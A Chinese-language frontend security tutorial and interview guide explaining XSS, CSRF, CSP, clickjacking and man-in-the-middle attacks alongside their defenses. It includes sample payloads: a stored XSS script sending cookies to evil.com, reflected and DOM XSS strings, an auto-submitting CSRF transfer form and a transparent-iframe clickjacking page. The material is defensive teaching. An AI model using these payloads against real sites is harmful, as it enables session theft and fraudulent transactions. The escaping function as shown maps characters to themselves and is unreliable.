Web安全攻防
背景:前端为什么要关注安全
浏览器是用户与 Web 应用交互的窗口,也是攻击者最容易触达的入口。一段恶意脚本注入页面,就能窃取用户 Cookie、劫持会话、篡改页面内容;一个精心构造的第三方页面,就能在用户不知情的情况下以其身份发起转账请求。
前端安全的核心矛盾在于:浏览器必须执行来自服务端的代码,但它无法区分"正常业务代码"和"被注入的恶意代码"。XSS 和 CSRF 是这个矛盾下最典型的两类攻击,也是面试中考察频率最高的安全主题。
一、XSS(跨站脚本攻击)
1.1 什么是 XSS
XSS(Cross-Site Scripting)是指攻击者将恶意脚本注入到受信任的网页中,当其他用户访问该页面时,浏览器会像执行正常代码一样执行这段恶意脚本。
攻击者的目标通常包括:
- 窃取用户 Cookie 或 Token,劫持会话
- 篡改页面内容,进行钓鱼
- 记录用户键盘输入(键盘记录器)
- 利用用户身份发起请求(结合 CSRF)
- 传播蠕虫(如早年的新浪微博 XSS 蠕虫)
1.2 三种 XSS 类型
存储型 XSS(Stored XSS)
恶意脚本被持久化存储在服务端(数据库、文件系统等),任何访问对应页面的用户都会触发。
典型场景:论坛发帖、评论区、用户昵称等用户可提交内容并展示给他人的位置。
攻击者 → 提交评论: <script>document.location='https://evil.com?c='+document.cookie</script>
↓
服务端 → 存入数据库
↓
受害者 → 浏览评论页 → 浏览器执行恶意脚本 → Cookie 被发送到攻击者服务器
存储型 XSS 危害最大,因为它不需要诱导用户点击特定链接,所有访问者都会中招。
反射型 XSS(Reflected XSS)
恶意脚本包含在 URL 参数中,服务端将参数内容未经过滤直接拼接到 HTML 响应中返回。
攻击者构造链接:
https://example.com/search?q=<script>alert(document.cookie)</script>
服务端返回:
<p>搜索结果: <script>alert(document.cookie)</script></p>
反射型 XSS 需要诱导用户点击恶意链接才能触发,常通过邮件、社交平台传播。与存储型的区别在于:恶意代码不会持久化,仅在本次请求-响应中生效。
DOM 型 XSS(DOM-based XSS)
恶意脚本的注入和执行完全在浏览器端完成,不经过服务端。前端 JavaScript 直接读取 URL 参数、location.hash、document.referrer 等可控输入,未经处理就插入 DOM。
// 漏洞代码:直接将 URL 参数写入页面
const query = new URLSearchParams(location.search).get('name');
document.getElementById('greeting').innerHTML = `欢迎你,${query}`;
// 攻击者构造:
// https://example.com?name=<img src=x onerror=alert(document.cookie)>
DOM 型 XSS 的特殊之处在于:服务端完全无感知,WAF(Web 应用防火墙)也拦截不到,因为恶意内容根本不会出现在 HTTP 请求体中。
1.3 三种类型对比
| 维度 | 存储型 | 反射型 | DOM 型 |
|---|---|---|---|
| 恶意代码存储位置 | 服务端数据库 | URL 参数 | URL 参数(前端读取) |
| 是否经过服务端 | 是 | 是 | 否 |
| 触发方式 | 用户正常访问页面 | 诱导点击恶意链接 | 诱导点击恶意链接 |
| 危害范围 | 所有访问者 | 点击链接的用户 | 点击链接的用户 |
| 检测难度 | 较低(服务端可审计) | 中等 | 较高(纯前端行为) |
1.4 XSS 防御手段
输入过滤
对用户提交的内容进行校验和过滤,拒绝或转义危险字符。
// 服务端输入过滤示例
function sanitizeInput(input: string): string {
return input
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''');
}
注意:输入过滤不能作为唯一防线。攻击者可以通过编码绕过(如 Unicode 编码、HTML 实体编码),而且同一份数据可能在不同上下文(HTML、JavaScript、URL、CSS)中使用,单一过滤规则无法覆盖所有场景。
输出编码(最核心的防御)
根据数据插入的上下文,采用对应的编码方式:
| 输出上下文 | 编码方式 | 示例 |
|---|---|---|
| HTML 正文 | HTML 实体编码 | < → < |
| HTML 属性 | HTML 属性编码 | " → " |
| JavaScript | JavaScript 编码 | ' → \x27 |
| URL 参数 | URL 编码 | < → %3C |
| CSS | CSS 编码 | 对特殊字符进行 \ 转义 |
现代前端框架(React、Vue)默认会对插值表达式进行 HTML 编码,这已经覆盖了大部分场景。但使用 dangerouslySetInnerHTML(React)或 v-html(Vue)时,编码保护会被绕过,必须格外谨慎。
// React 安全 — 默认编码
<div>{userInput}</div>
// React 危险 — 跳过编码,可能导致 XSS
<div dangerouslySetInnerHTML={{ __html: userInput }} />
HttpOnly Cookie
将敏感 Cookie(如 Session ID)设置为 HttpOnly,使 JavaScript 无法通过 document.cookie 读取。
Set-Cookie: session_id=abc123; HttpOnly; Secure; SameSite=Strict
HttpOnly 不能阻止 XSS 攻击本身,但能有效防止攻击者通过 XSS 窃取 Cookie。即使页面被注入了恶意脚本,document.cookie 也拿不到标记了 HttpOnly 的字段。
CSP(内容安全策略)
CSP 是防御 XSS 的重要纵深手段,后文详细展开。
二、CSRF(跨站请求伪造)
2.1 什么是 CSRF
CSRF(Cross-Site Request Forgery)是指攻击者诱导已登录用户访问恶意页面,利用用户在目标站点的登录态(Cookie),在用户不知情的情况下向目标站点发起请求。
关键区别:XSS 是在目标站点执行恶意代码,CSRF 是从第三方站点发起伪造请求。CSRF 不需要注入脚本,也不需要窃取 Cookie —— 它利用的是浏览器"发送请求时自动携带对应域名 Cookie"这一机制。
2.2 攻击原理
1. 用户登录 bank.com,浏览器存储了 bank.com 的 Cookie
2. 用户在未退出 bank.com 的情况下,访问了攻击者的 evil.com
3. evil.com 页面中包含一个自动提交的表单:
<form action="https://bank.com/transfer" method="POST" id="hack">
<input type="hidden" name="to" value="attacker" />
<input type="hidden" name="amount" value="10000" />
</form>
<script>document.getElementById('hack').submit();</script>
4. 浏览器向 bank.com 发送 POST 请求,自动携带 bank.com 的 Cookie
5. bank.com 服务端验证 Cookie 有效,执行转账操作
CSRF 攻击成功的三个必要条件:
- 用户已登录目标站点,且会话未过期
- 目标站点仅依赖 Cookie 验证身份,没有额外的请求来源校验
- 攻击者能诱导用户访问恶意页面
2.3 CSRF 的常见攻击形式
- GET 型:通过
<img src="https://bank.com/transfer?to=attacker&amount=10000">发起,利用 img 标签自动请求 - POST 型:通过隐藏表单自动提交,如上面的示例
- 链接型:需要用户主动点击,如
<a href="https://bank.com/transfer?...">点击领取红包</a>
2.4 CSRF 防御手段
SameSite Cookie
SameSite 属性控制 Cookie 在跨站请求时是否发送,是目前最简单有效的 CSRF 防御手段。
| SameSite 值 | 效果 | 适用场景 |
|---|---|---|
Strict | 跨站请求完全不携带 Cookie | 安全性要求高的场景(如银行) |
Lax(默认) | 仅 GET 导航请求携带 Cookie | 大多数 Web 应用的默认选择 |
None | 跨站请求始终携带(须配合 Secure) | 需要跨站嵌入的第三方服务 |
Set-Cookie: session_id=abc123; SameSite=Lax; Secure; HttpOnly
Chrome 80 起,SameSite 默认值从 None 改为 Lax,这意味着大多数跨站 POST 请求不再自动携带 Cookie,极大降低了 CSRF 风险。
CSRF Token
服务端生成一个随机 Token,嵌入到表单或请求头中。由于攻击者无法读取目标站点页面内容(受同源策略限制),也就拿不到 Token。
<!-- 服务端渲染表单时嵌入 Token -->
<form action="/transfer" method="POST">
<input type="hidden" name="_csrf" value="随机生成的Token" />
<input type="text" name="to" />
<input type="text" name="amount" />
<button type="submit">转账</button>
</form>
服务端验证流程:
- 用户访问页面时,服务端生成 Token 并存入 Session
- Token 同时写入表单隐藏字段或响应头
- 用户提交请求时携带 Token
- 服务端比对请求中的 Token 与 Session 中的 Token 是否一致
Referer / Origin 校验
服务端检查请求头中的 Referer 或 Origin 字段,验证请求是否来自合法页面。
// 服务端 Referer 校验示例
function validateReferer(request: Request): boolean {
const referer = request.headers.get('Referer');
if (!referer) return false;
const allowedOrigins = ['https://bank.com', 'https://www.bank.com'];
return allowedOrigins.some(origin => referer.startsWith(origin));
}
局限性:
Referer可能被用户浏览器隐私设置去掉- 某些老旧浏览器的
Referer可以被篡改 - HTTPS → HTTP 的请求不会携带
Referer - 建议作为辅助校验手段,不作为唯一依赖
双重 Cookie 验证
将 CSRF Token 写入 Cookie,同时要求前端在请求参数或自定义请求头中也带上同样的值。攻击者能让浏览器自动携带 Cookie,但无法读取 Cookie 的值(受同源策略限制),因此无法在请求参数中带上正确的 Token。
// 前端:从 Cookie 中读取 Token 并放入请求头
const csrfToken = document.cookie
.split('; ')
.find(row => row.startsWith('csrf_token='))
?.split('=')[1];
fetch('/api/transfer', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'X-CSRF-Token': csrfToken,
},
body: JSON.stringify({ to: 'someone', amount: 100 }),
});
双重 Cookie 的优势在于不需要服务端维护 Session 状态,适合前后端分离架构。但如果攻击者能通过 XSS 注入脚本读取 Cookie,这道防线就会失效 —— 这也说明 XSS 和 CSRF 的防御必须同时做好。
三、XSS 与 CSRF 对比
| 维度 | XSS | CSRF |
|---|---|---|
| 攻击目标 | 在目标站点注入并执行恶意代码 | 利用用户身份向目标站点发起伪造请求 |
| 是否需要注入代码 | 是 | 否 |
| 是否需要用户登录态 | 不一定 | 是 |
| 攻击发起位置 | 目标站点自身页面 | 第三方恶意页面 |
| 能否获取用户数据 | 能(可操作 DOM、读取 Cookie) | 不能(只能发起请求,无法读取响应) |
| 防御核心思路 | 阻止恶意代码执行 | 验证请求来源的合法性 |
| 关联关系 | XSS 可以用来绕过 CSRF 防御 | CSRF 攻击可以被 XSS 放大 |
面试高频追问:"如果网站存在 XSS 漏洞,CSRF Token 还有用吗?"
答案是没用。攻击者通过 XSS 注入脚本后,可以直接读取页面中的 CSRF Token,然后构造合法请求。这就是为什么安全防御需要纵深部署,单一手段无法抵御组合攻击。
四、CSP(内容安全策略)
4.1 CSP 是什么
CSP(Content Security Policy)是一种 HTTP 响应头,用于告诉浏览器只允许加载和执行哪些来源的资源。它是防御 XSS 的重要纵深手段 —— 即使攻击者成功注入了恶意脚本标签,只要该脚本的来源不在 CSP 白名单内,浏览器就会拒绝执行。
CSP 的核心思路:默认禁止一切,按需白名单放行。
4.2 配置方式
方式一:HTTP 响应头(推荐)
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com
方式二:HTML meta 标签
<meta http-equiv="Content-Security-Policy"
content="default-src 'self'; script-src 'self' https://cdn.example.com">
meta 标签方式的局限:不支持 frame-ancestors、report-uri 等指令,且无法覆盖通过 HTTP 头设置的策略。生产环境推荐使用 HTTP 响应头。
4.3 核心指令详解
| 指令 | 作用 | 示例 |
|---|---|---|
default-src | 所有资源类型的默认策略 | default-src 'self' |
script-src | 控制 JavaScript 来源 | script-src 'self' 'nonce-abc123' |
style-src | 控制 CSS 来源 | style-src 'self' 'unsafe-inline' |
img-src | 控制图片来源 | img-src 'self' data: https: |
connect-src | 控制 XHR/Fetch/WebSocket 连接目标 | connect-src 'self' https://api.example.com |
font-src | 控制字体文件来源 | font-src 'self' https://fonts.gstatic.com |
frame-src | 控制 iframe 嵌入的页面来源 | frame-src 'none' |
frame-ancestors | 控制谁可以嵌入本页面(防点击劫持) | frame-ancestors 'self' |
report-uri / report-to | 违规行为上报地址 | report-uri /csp-report |
常用的源值关键词:
'self':同源'none':禁止一切来源'unsafe-inline':允许内联脚本/样式(会大幅削弱 CSP 防护)'unsafe-eval':允许eval()、new Function()等动态执行'nonce-{随机值}':只允许携带特定 nonce 属性的内联脚本'strict-dynamic':信任已被 nonce 或 hash 标记的脚本所加载的子脚本
4.4 nonce 模式(推荐实践)
nonce 模式是目前 CSP 防御 XSS 的最佳实践。服务端为每次响应生成一个随机 nonce 值,只有携带正确 nonce 的脚本才会被执行。
Content-Security-Policy: script-src 'nonce-4a8f1e2b' 'strict-dynamic'
<!-- 合法脚本 — 携带正确 nonce,正常执行 -->
<script nonce="4a8f1e2b">
console.log('业务代码');
</script>
<!-- 注入的恶意脚本 — 无 nonce,被浏览器拦截 -->
<script>alert('XSS')</script>
'strict-dynamic' 的作用是:被 nonce 信任的脚本通过 document.createElement('script') 动态加载的子脚本也会被信任,解决了 CSP 与现代前端打包工具(如 Webpack code splitting)的兼容问题。
4.5 Report-Only 模式
上线 CSP 前,建议先用 Content-Security-Policy-Report-Only 头部进行观察,只上报不拦截:
Content-Security-Policy-Report-Only: default-src 'self'; report-uri /csp-report
浏览器会将所有违规行为以 JSON 格式上报到 /csp-report,方便排查哪些合法资源被误拦,逐步收敛白名单后再切换为强制模式。
五、点击劫持
5.1 攻击原理
点击劫持(Clickjacking)是指攻击者在自己的页面中通过透明 iframe 嵌入目标站点,并诱导用户点击。用户以为自己在点击攻击者页面上的按钮,实际上点击的是透明 iframe 中目标站点的按钮。
<!-- 攻击者页面 -->
<style>
iframe {
position: absolute;
top: 0;
left: 0;
width: 500px;
height: 400px;
opacity: 0; /* 完全透明 */
z-index: 10;
}
.bait {
position: absolute;
top: 200px;
left: 150px;
z-index: 1;
}
</style>
<div class="bait">
<button>点击领取优惠券</button>
</div>
<iframe src="https://bank.com/settings/delete-account"></iframe>
5.2 防御手段
X-Frame-Options 响应头
X-Frame-Options: DENY # 禁止任何页面嵌入
X-Frame-Options: SAMEORIGIN # 仅允许同源页面嵌入
CSP frame-ancestors 指令(更灵活,推荐)
Content-Security-Policy: frame-ancestors 'self' https://trusted.com
frame-ancestors 比 X-Frame-Options 更强大,支持多个来源白名单,且在 CSP Level 2 中被标准化。两者同时存在时,CSP 优先级更高。
JavaScript 防御(兜底方案)
// 检测页面是否被嵌入 iframe
if (window.top !== window.self) {
window.top.location = window.self.location;
}
这种方式可以被攻击者通过 sandbox 属性绕过,不应作为主要防线。
六、中间人攻击(MITM)
6.1 攻击原理
中间人攻击(Man-In-The-Middle)是指攻击者在客户端和服务端之间的通信链路上进行窃听或篡改。常见场景包括公共 WiFi 劫持、ARP 欺骗、DNS 劫持等。
正常通信: 客户端 ←→ 服务端
中间人: 客户端 ←→ 攻击者 ←→ 服务端
在 HTTP 明文传输下,攻击者可以:
- 窃取用户提交的账号密码
- 篡改响应内容(注入广告、恶意脚本)
- 劫持会话 Cookie
6.2 防御手段
- 全站 HTTPS:TLS 加密确保传输内容无法被窃听和篡改,这是抵御 MITM 的根本手段
- HSTS(HTTP Strict Transport Security):告诉浏览器在指定时间内只通过 HTTPS 访问该站点,防止 SSL Stripping 攻击
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
- 证书固定(Certificate Pinning):客户端预置服务端证书的公钥指纹,防止攻击者使用伪造证书。移动端 App 常用,Web 端已逐步弃用(
Public-Key-Pins头已废弃,改用 Certificate Transparency)
七、面试高频问题
Q: XSS 和 CSRF 的本质区别是什么?
XSS 的本质是"代码注入"—— 攻击者让目标站点执行了非预期的代码。CSRF 的本质是"请求伪造"—— 攻击者利用浏览器自动携带 Cookie 的机制,让用户在不知情的情况下发起请求。XSS 在目标站点上下文中执行,CSRF 从外部站点发起。
Q: 为什么 Cookie 要同时设置 HttpOnly、Secure、SameSite?
三者各司其职:HttpOnly 防止 XSS 窃取 Cookie;Secure 确保 Cookie 只在 HTTPS 下传输,防止中间人窃听;SameSite 限制跨站请求携带 Cookie,防止 CSRF。三道防线组合才能覆盖不同攻击向量。
Q: CSP 能完全防住 XSS 吗?
不能。CSP 是纵深防御的一环,不是银弹。如果配置了 'unsafe-inline' 或 'unsafe-eval',内联脚本注入仍然有效。此外,如果白名单中的 CDN 上存在可利用的 JavaScript 文件(如 JSONP 接口),攻击者可以借此绕过 CSP。正确的做法是 CSP 配合输出编码、HttpOnly Cookie 等手段多层防御。
Q: 前后端分离架构下,CSRF 防御有什么变化?
前后端分离后,页面通常不再由服务端渲染,CSRF Token 无法直接嵌入 HTML。常见方案是:登录后通过接口下发 Token 并存入 Cookie,前端在每次请求时从 Cookie 中读取并放入自定义请求头(双重 Cookie 方案)。配合 SameSite=Lax,大多数 CSRF 场景已可覆盖。
总结
Web 安全防御的核心原则是纵深防御,不依赖单一手段:
- XSS 防御:输出编码是根基,CSP 是纵深,HttpOnly 是兜底。现代框架默认编码已覆盖大部分场景,但
dangerouslySetInnerHTML/v-html等逃生舱必须严格审计 - CSRF 防御:
SameSite=Lax(浏览器默认值)已覆盖大部分场景,关键操作配合 CSRF Token 或双重 Cookie 做二次校验 - 传输安全:全站 HTTPS + HSTS 是底线
- 嵌入防护:
frame-ancestors或X-Frame-Options阻止点击劫持
安全不是配一个响应头就万事大吉。线上项目应建立 CSP 违规上报、XSS 漏洞扫描、依赖库安全审计等持续监控机制,做到及时发现、快速响应。
答案是没用。攻击者通过 XSS 注入脚本后,可以直接读取页面中的 CSRF Token,然后构造合法请求。这就是为什么安全防御需要纵深部署,单一手段无法抵御组合攻击。